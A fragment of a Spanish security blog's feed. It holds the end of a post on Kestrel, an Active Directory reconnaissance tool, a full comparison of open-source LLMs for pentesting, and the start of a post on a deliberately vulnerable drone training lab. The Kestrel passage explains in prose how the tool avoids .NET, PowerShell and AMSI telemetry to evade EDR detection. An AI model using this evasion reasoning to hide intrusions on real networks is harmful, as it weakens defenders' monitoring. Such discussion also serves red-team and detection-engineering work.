href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2ea8XYZenznKtZ2xPnRRUHaIfwUYMvm4gMsm2T9LA1gMLdR-gPZOUrrm2I6UxRyk_FPy7gx-EXIiTh4ureJNKCybgX8gg5P3x30tMVeUqYBVTsw-t7StWTSyDBxPkcnLgbbuFwjgRlckzJTVnePifNEWRympVAuzlHHcySXye6V2KAtMpOhZv3Nzn7o9h/s1027/ADWSScan.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1027&quot; data-original-width=&quot;1012&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2ea8XYZenznKtZ2xPnRRUHaIfwUYMvm4gMsm2T9LA1gMLdR-gPZOUrrm2I6UxRyk_FPy7gx-EXIiTh4ureJNKCybgX8gg5P3x30tMVeUqYBVTsw-t7StWTSyDBxPkcnLgbbuFwjgRlckzJTVnePifNEWRympVAuzlHHcySXye6V2KAtMpOhZv3Nzn7o9h/w630-h640/ADWSScan.png&quot; width=&quot;630&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Su principal característica es que consume &lt;b&gt;Active Directory Services Interfaces (ADSI) mediante COM,&lt;/b&gt; eliminando completamente la dependencia de .NET, PowerShell y del Common Language Runtime (CLR).&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Desde un punto de vista técnico, esto implica que el proceso interactúa directamente con las interfaces COM expuestas por ADSI para realizar consultas LDAP, aproximándose mucho más al comportamiento esperado de aplicaciones empresariales que necesitan consultar Active Directory que al de herramientas ofensivas tradicionales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esta diferencia puede parecer sutil, pero tiene implicaciones importantes desde la perspectiva de la telemetría:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;La ausencia del CLR elimina una fuente habitual de instrumentación utilizada por muchos EDR.&lt;/li&gt;&lt;li&gt;No existe ejecución de PowerShell ni AMSI asociado al proceso.&lt;/li&gt;&lt;li&gt;Se evita la carga de ensamblados .NET frecuentemente relacionados con herramientas de reconocimiento.&lt;/li&gt;&lt;li&gt;El proceso presenta una cadena de llamadas mucho más cercana a la de software Windows nativo que utiliza ADSI como mecanismo legítimo de acceso al directorio.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Obviamente, esto &lt;strong&gt;no convierte a Kestrel en una herramienta &quot;indetectable&quot;&lt;/strong&gt;. Las consultas LDAP siguen siendo observables, la actividad de red continúa existiendo y un entorno correctamente instrumentado puede detectar comportamientos anómalos mediante correlación de eventos, frecuencia de consultas, análisis del cliente LDAP o modelos de comportamiento.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Sin embargo, el proyecto pone el foco donde realmente está evolucionando el panorama ofensivo: &lt;strong&gt;reducir el footprint operativo&lt;/strong&gt;, eliminando dependencias que históricamente han servido como indicadores de alta fidelidad para los mecanismos de detección.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Más que una nueva herramienta de enumeración, Kestrel representa una tendencia cada vez más evidente en el desarrollo de capacidades ofensivas: &lt;strong&gt;volver a las APIs nativas del sistema operativo&lt;/strong&gt; para minimizar la telemetría asociada a frameworks administrados y hacer que la actividad se parezca, lo máximo posible, a la de una aplicación Windows legítima.&lt;/p&gt;&lt;p&gt;Para quienes trabajamos en Red Team, Purple Team o Detection Engineering, proyectos como este son especialmente valiosos porque obligan a replantear una cuestión fundamental: &lt;strong&gt;¿estamos detectando herramientas concretas o realmente estamos detectando comportamientos?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;b&gt;Proyecto&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/ssteelfactor-oss/Kestrel&quot;&gt;https://github.com/ssteelfactor-oss/Kestrel&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/9124400491036250133/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/kestrel-reconocimiento-pasivo-de-AD.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/9124400491036250133'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/9124400491036250133'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/kestrel-reconocimiento-pasivo-de-AD.html' title='Kestrel: reconocimiento pasivo de Active Directory con un footprint mínimo'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2ea8XYZenznKtZ2xPnRRUHaIfwUYMvm4gMsm2T9LA1gMLdR-gPZOUrrm2I6UxRyk_FPy7gx-EXIiTh4ureJNKCybgX8gg5P3x30tMVeUqYBVTsw-t7StWTSyDBxPkcnLgbbuFwjgRlckzJTVnePifNEWRympVAuzlHHcySXye6V2KAtMpOhZv3Nzn7o9h/s72-w630-h640-c/ADWSScan.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-6366223629268542515</id><published>2026-07-09T00:40:53.976+02:00</published><updated>2026-07-09T00:40:53.976+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="comparativa"/><category scheme="http://www.blogger.com/atom/ns#" term="IA"/><category scheme="http://www.blogger.com/atom/ns#" term="LLM"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><title type='text'>Los mejores LLM Open Source para Pentesting y Vulnerability Research (2026): separando el hype de la realidad</title><content type='html'>&lt;p&gt;&quot;&lt;em&gt;En IA aplicada a ciberseguridad estamos viviendo el mismo momento que vivimos con los EDR hace diez años: mucho marketing, muchos benchmarks y todavía pocas comparativas realmente útiles.&quot;&lt;/em&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hace unas semanas me encontré con un interesante &lt;a href=&quot;https://x.com/0x0SojalSec/status/2074622871771717837&quot; target=&quot;_blank&quot;&gt;hilo en X&lt;/a&gt; donde se enumeraban algunos de los modelos open source más prometedores para ciberseguridad. El listado incluía nombres como &lt;strong&gt;VulnLLM-R&lt;/strong&gt;, &lt;strong&gt;Foundation-Sec-8B-Reasoning&lt;/strong&gt;, &lt;strong&gt;CyberSecQwen&lt;/strong&gt; o &lt;strong&gt;Meta-SecAlign&lt;/strong&gt;, acompañados de afirmaciones tan llamativas como &lt;em&gt;&quot;supera a Claude&quot;&lt;/em&gt;, &lt;em&gt;&quot;es el rey del offensive code analysis&quot;&lt;/em&gt; o &lt;em&gt;&quot;ha encontrado zero-days reales&quot;&lt;/em&gt;. Como suele ocurrir en este sector, la realidad es bastante más interesante que el titular.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDaYjUw-HKZAfZr9YVEvO6ZkrMkDMN9RzBgkZqXVD5AvTR5NfNg8EZlMOxhLqRR-2MsyZTVmQ5xkm2vL1JlKuv3JWzBW6RvTXRYDptuIYcX0xogOqzuguE-jVdLNajmTU00JUB5k2o-1-gLcFsZmYsu7pOutEH6_YZ2x1W7jDosbYeMCRusHVEycbshrf9/s1672/modeloscyber.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;941&quot; data-original-width=&quot;1672&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDaYjUw-HKZAfZr9YVEvO6ZkrMkDMN9RzBgkZqXVD5AvTR5NfNg8EZlMOxhLqRR-2MsyZTVmQ5xkm2vL1JlKuv3JWzBW6RvTXRYDptuIYcX0xogOqzuguE-jVdLNajmTU00JUB5k2o-1-gLcFsZmYsu7pOutEH6_YZ2x1W7jDosbYeMCRusHVEycbshrf9/w640-h360/modeloscyber.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los últimos dieciocho meses han supuesto un cambio profundo en el desarrollo de modelos de lenguaje especializados. Frente a la carrera por construir modelos cada vez más grandes, empiezan a consolidarse los &lt;strong&gt;Vertical Foundation Models&lt;/strong&gt;: modelos relativamente pequeños —7B, 8B o 14B parámetros— entrenados específicamente para resolver problemas de un único dominio. En nuestro caso, la ciberseguridad. La pregunta es inevitable: &quot;&lt;i&gt;¿Realmente merece la pena abandonar un Qwen o un DeepSeek para utilizar uno de estos modelos especializados?&lt;/i&gt;&quot; Bueno, depende muchísimo del caso de uso. Y esa es precisamente la parte interesante.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Antes de empezar: un aviso sobre los benchmarks&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una buena parte de las comparativas que circulan por Internet son, sencillamente, engañosas. No porque los datos sean falsos. Sino porque miden cosas distintas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando un fabricante afirma que su modelo &quot;supera a GPT-4&quot; o &quot;vence a Claude&quot;, normalmente está hablando de un benchmark muy concreto:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;CTI-MCQA&lt;/li&gt;&lt;li&gt;CTI-RCM&lt;/li&gt;&lt;li&gt;SecurityBench&lt;/li&gt;&lt;li&gt;Root Cause Mapping&lt;/li&gt;&lt;li&gt;VulnBench&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Eso &lt;strong&gt;no significa&lt;/strong&gt; que vaya a funcionar mejor durante una auditoría real. Y ocurre exactamente igual al contrario.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay modelos excelentes programando que son bastante mediocres razonando sobre vulnerabilidades complejas. Mi consejo es sencillo: No preguntes cuál es el mejor modelo. Pregunta cuál es el mejor modelo &lt;strong&gt;para la tarea concreta que vas a realizar&lt;/strong&gt;. Porque probablemente obtendrás una respuesta diferente.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;1. Qwen3 / Qwen2.5-Coder&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El auténtico todoterreno&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si mañana tuviera que borrar todos los modelos de mi laboratorio excepto uno, probablemente conservaría Qwen. Y creo que no sería el único.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Mientras gran parte de la comunidad perseguía modelos &quot;especializados&quot;, Alibaba ha ido refinando silenciosamente una familia de modelos extraordinariamente equilibrada. No son modelos de ciberseguridad. Y precisamente ahí reside parte de su éxito.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Su entrenamiento masivo en programación hace que entiendan código con una naturalidad difícil de encontrar incluso en modelos mucho más grandes.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En auditorías de código destacan especialmente por:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;seguir correctamente cadenas de llamadas;&lt;/li&gt;&lt;li&gt;explicar arquitecturas complejas;&lt;/li&gt;&lt;li&gt;comprender proyectos enormes;&lt;/li&gt;&lt;li&gt;generar PoCs bastante razonables;&lt;/li&gt;&lt;li&gt;escribir reglas para Semgrep o CodeQL;&lt;/li&gt;&lt;li&gt;ayudar durante reversing.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Curiosamente, en muchos escenarios siguen superando a modelos específicamente entrenados para seguridad. No porque sepan más sobre CVEs, sino porque razonan mejor.&lt;/p&gt;&lt;h3&gt;Lo mejor&lt;/h3&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Excelente relación calidad/tamaño.&lt;/li&gt;&lt;li&gt;Muy buena comprensión de C/C++.&lt;/li&gt;&lt;li&gt;Fantástico para reversing.&lt;/li&gt;&lt;li&gt;Muy pocos falsos positivos comparado con modelos pequeños.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Lo peor&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No posee entrenamiento específico sobre CTI, ATT&amp;amp;CK o workflows SOC.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para análisis de inteligencia suele quedarse por detrás de modelos verticales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Mi nota:&lt;/strong&gt; ⭐⭐⭐⭐⭐&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;2. Foundation-Sec-8B-Reasoning&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Cuando Cisco decidió entrenar un modelo para analistas&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Foundation-Sec probablemente sea el proyecto más serio aparecido durante el último año. No tanto por el modelo sino por la filosofía. En lugar de crear otro chatbot especializado, Cisco ha intentado construir un modelo que razone como un analista.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El entrenamiento incorpora conocimiento específico de CVE, CWE, MITRE ATT&amp;amp;CK, NIST, informes de inteligencia y documentación técnica, y la versión &lt;em&gt;Reasoning&lt;/em&gt; añade una fase de entrenamiento orientada al razonamiento multi-paso mediante &lt;em&gt;Supervised Fine-Tuning&lt;/em&gt; y &lt;em&gt;Reinforcement Learning from Verifiable Rewards&lt;/em&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los resultados publicados por Cisco muestran mejoras consistentes en benchmarks como CTI-RCM, CTI-VSP y tareas de razonamiento de inteligencia de amenazas frente a modelos generalistas de tamaño similar.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora bien. Aquí conviene poner el gorro de investigador. Todos esos benchmarks proceden del propio equipo desarrollador. No significa que sean incorrectos. Pero sí que todavía faltan evaluaciones independientes.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;De hecho, en la comunidad de LocalLLaMA pueden encontrarse experiencias muy dispares: desde usuarios satisfechos con tareas de CTI hasta otros que consideran que modelos generalistas recientes como Qwen ofrecen un mejor rendimiento práctico en determinadas tareas de ingeniería. Eso recuerda una lección clásica en seguridad: un benchmark no sustituye a una prueba de campo.&lt;/p&gt;&lt;h3&gt;Lo mejor&lt;/h3&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Excelente para SOC.&lt;/li&gt;&lt;li&gt;Muy bueno en Threat Intelligence.&lt;/li&gt;&lt;li&gt;Muy sólido razonando.&lt;/li&gt;&lt;li&gt;Open Weight.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Lo peor&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Todavía necesita más validación independiente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Mi nota:&lt;/strong&gt; ⭐⭐⭐⭐☆&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;3. VulnLLM-R&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El modelo que todo el mundo está observando&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si tuviera que apostar por el proyecto más interesante del momento sería éste. No porque sea necesariamente el mejor sino porque cambia completamente el enfoque.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hasta ahora casi todos los modelos intentaban reconocer patrones. VulnLLM-R intenta razonar sobre estados del programa. Parece un detalle pero no lo es, es un cambio enorme.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los autores entrenan el modelo utilizando trazas de razonamiento específicas para análisis de vulnerabilidades y construyen un agente capaz de combinar ese razonamiento con herramientas externas. En su trabajo reportan mejoras frente a analizadores tradicionales y a varios modelos comerciales en conjuntos de datos de Python, C/C++ y Java, además de describir el hallazgo de vulnerabilidades previamente desconocidas en proyectos reales mediante su &lt;em&gt;agent scaffold&lt;/em&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;¿Significa eso que va a sustituir a CodeQL?&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No. Ni mucho menos. Pero sí demuestra algo muy interesante: Que un modelo relativamente pequeño puede competir con herramientas clásicas cuando se combina con un flujo de trabajo adecuado. Y probablemente ese sea el verdadero futuro. No un LLM sino un ecosistema.&lt;/p&gt;&lt;h3&gt;Lo mejor&lt;/h3&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Muy prometedor.&lt;/li&gt;&lt;li&gt;Excelente paper.&lt;/li&gt;&lt;li&gt;Magnífico planteamiento.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Lo peor&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Resultados todavía poco reproducidos por terceros.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Mi nota:&lt;/strong&gt; ⭐⭐⭐⭐⭐ (con asterisco)&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;4. CyberSecQwen&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El utilitario que probablemente usarás todos los días&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No todos los modelos necesitan descubrir un zero-day. La mayoría del tiempo un investigador hace cosas mucho más mundanas: leer un advisory, explicar un exploit, relacionar un CVE con ATT&amp;amp;CK, analizar un script sospechoso, clasificar malware, etc.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En ese terreno los modelos ligeros derivados de Qwen funcionan sorprendentemente bien. Especialmente cuando disponemos únicamente de 16 GB de RAM. No impresionan pero trabajan rápido y muchas veces eso importa más.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;5. Gemma 3 y Phi-4&lt;/span&gt;&lt;/h3&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Los pequeños gigantes&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Google y Microsoft han seguido caminos distintos pero ambos demuestran la misma idea. No hacen falta 70.000 millones de parámetros para ser útiles. Gemma destaca especialmente por eficiencia. Phi por capacidad de razonamiento. Para laboratorios portátiles siguen siendo dos opciones magníficas.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;¿Qué dicen realmente los estudios comparativos?&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Uno de los trabajos más interesantes publicados este año enfrentó modelos frontier y modelos especializados en dos escenarios muy diferentes: detección de vulnerabilidades a nivel de función (&lt;em&gt;white-box&lt;/em&gt;) y pentesting sobre aplicaciones web con vulnerabilidades conocidas (&lt;em&gt;black-box&lt;/em&gt;).&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los resultados son bastante reveladores:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Los modelos generalistas de última generación presentaron tasas de falsos positivos del 10 % al 50 % en tareas de análisis estático.&lt;/li&gt;&lt;li&gt;En pruebas de pentesting automatizado, incluso combinados con herramientas externas como Burp Suite MCP o Playwright MCP, sólo consiguieron cubrir entre un 10 % y un 19 % de las vulnerabilidades existentes.&lt;/li&gt;&lt;li&gt;Los mejores resultados llegaron cuando se emplearon agentes especializados con metodologías de pruebas estructuradas, más que simplemente aumentando el tamaño del modelo.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La conclusión es casi contraintuitiva. El cuello de botella ya no parece ser el número de parámetros. Empieza a ser la metodología.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Mi ranking personal (2026)&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Categoría&lt;/th&gt;&lt;th&gt;Modelo&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Auditoría de código&lt;/td&gt;&lt;td&gt;Qwen3 / Qwen2.5-Coder&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vulnerability Research&lt;/td&gt;&lt;td&gt;VulnLLM-R&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Threat Intelligence&lt;/td&gt;&lt;td&gt;Foundation-Sec-8B-Reasoning&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Laboratorio portátil&lt;/td&gt;&lt;td&gt;Gemma 3 4B&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mejor equilibrio&lt;/td&gt;&lt;td&gt;Qwen3 14B&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mejor proyecto emergente&lt;/td&gt;&lt;td&gt;VulnLLM-R&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mejor modelo para construir agentes&lt;/td&gt;&lt;td&gt;Foundation-Sec + herramientas externas&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;La conclusión que nadie quiere escuchar&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después de probar decenas de modelos he llegado a una conclusión bastante poco popular: seguimos haciéndonos la pregunta equivocada. No deberíamos preguntar cuál es el mejor LLM para pentesting, la pregunta correcta sería:&amp;nbsp;&lt;strong&gt;¿Qué combinación de modelo, herramientas y metodología resuelve mejor mi problema?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Porque los mejores resultados que estoy viendo ya no provienen de un único modelo gigantesco. Provienen de sistemas híbridos: un LLM que coordina, CodeQL que filtra, Semgrep que reduce ruido, Joern que aporta contexto estructural, MCPs que recuperan únicamente el código relevante, y el investigador tomando las decisiones importantes.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYaqnHuLEhk2z0srG6-2JhGEXzeaQKMgxEaqNocNC2faZbGJHAGzzot8FJ4Ga1rcg2zkQOo_PQUmiqsU3AaR3KI6KfQUF5IdC-g3HCVMxUeSfik0t3ch_OOCuls0ZO8n-OZPorthGS0z5l_o2-wxeaIy5KxuNBJJfeswX856M7eDM2TXJAMDQ-LdCQ_xHL/s1536/arquitectura_agente.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYaqnHuLEhk2z0srG6-2JhGEXzeaQKMgxEaqNocNC2faZbGJHAGzzot8FJ4Ga1rcg2zkQOo_PQUmiqsU3AaR3KI6KfQUF5IdC-g3HCVMxUeSfik0t3ch_OOCuls0ZO8n-OZPorthGS0z5l_o2-wxeaIy5KxuNBJJfeswX856M7eDM2TXJAMDQ-LdCQ_xHL/w640-h426/arquitectura_agente.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Quizá dentro de unos años un modelo sea capaz de realizar una auditoría completa sin ayuda pero hoy todavía no estamos ahí.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero sí estamos en un momento mucho más interesante. Estamos dejando atrás la era de los chatbots para entrar, por fin, en la era de los &lt;strong&gt;copilotos especializados&lt;/strong&gt;. Y, como casi siempre ocurre en seguridad, la diferencia no la marcará quien tenga el modelo más grande, la marcará quien construya el mejor flujo de trabajo alrededor de él.&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/6366223629268542515/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/los-mejores-llm-open-source-para-pentest.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6366223629268542515'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6366223629268542515'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/los-mejores-llm-open-source-para-pentest.html' title='Los mejores LLM Open Source para Pentesting y Vulnerability Research (2026): separando el hype de la realidad'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDaYjUw-HKZAfZr9YVEvO6ZkrMkDMN9RzBgkZqXVD5AvTR5NfNg8EZlMOxhLqRR-2MsyZTVmQ5xkm2vL1JlKuv3JWzBW6RvTXRYDptuIYcX0xogOqzuguE-jVdLNajmTU00JUB5k2o-1-gLcFsZmYsu7pOutEH6_YZ2x1W7jDosbYeMCRusHVEycbshrf9/s72-w640-h360-c/modeloscyber.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-6019747590514099288</id><published>2026-07-03T23:49:19.532+02:00</published><updated>2026-07-03T23:49:19.533+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="drones"/><category scheme="http://www.blogger.com/atom/ns#" term="hardware"/><category scheme="http://www.blogger.com/atom/ns#" term="hardware hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="simuladores"/><category scheme="http://www.blogger.com/atom/ns#" term="vídeos"/><title type='text'>Damn Vulnerable Drone: un laboratorio para aprender a atacar (y defender) drones de forma segura</title><content type='html'>&lt;p&gt;En los últimos años, la seguridad de los drones ha pasado de ser un nicho de investigación a convertirse en un área con un enorme interés para la industria y la ciberseguridad. La proliferación de UAV en sectores como la logística, la agricultura, la inspección industrial o los servicios de emergencia hace que entender cómo funcionan —y cómo pueden ser atacados— sea cada vez más importante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En ese contexto descubrí &lt;strong&gt;Damn Vulnerable Drone (DVD)&lt;/strong&gt;, un proyecto open source que me ha parecido especialmente interesante porque traslada el concepto de las aplicaciones &quot;deliberadamente vulnerables&quot; al mundo de los drones. En lugar de aprender sobre vulnerabilidades de forma teórica, el proyecto ofrece un laboratorio completo donde es posible experimentar con una arquitectura muy similar a la que encontramos en plataformas reales, pero dentro de un entorno totalmente controlado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante es que no se limita a simular un dron. Recrea todo el ecosistema que suele rodear a un UAV moderno: un controlador de vuelo basado en ArduPilot, un Companion Computer, una estación de control terrestre, las comunicaciones entre todos estos componentes y la simulación física mediante Gazebo, todo ello orquestado con Docker. Esta aproximación permite entender cómo interactúan las distintas piezas del sistema y, sobre todo, cómo una vulnerabilidad en cualquiera de ellas puede afectar al conjunto.&lt;/p&gt;&lt;div 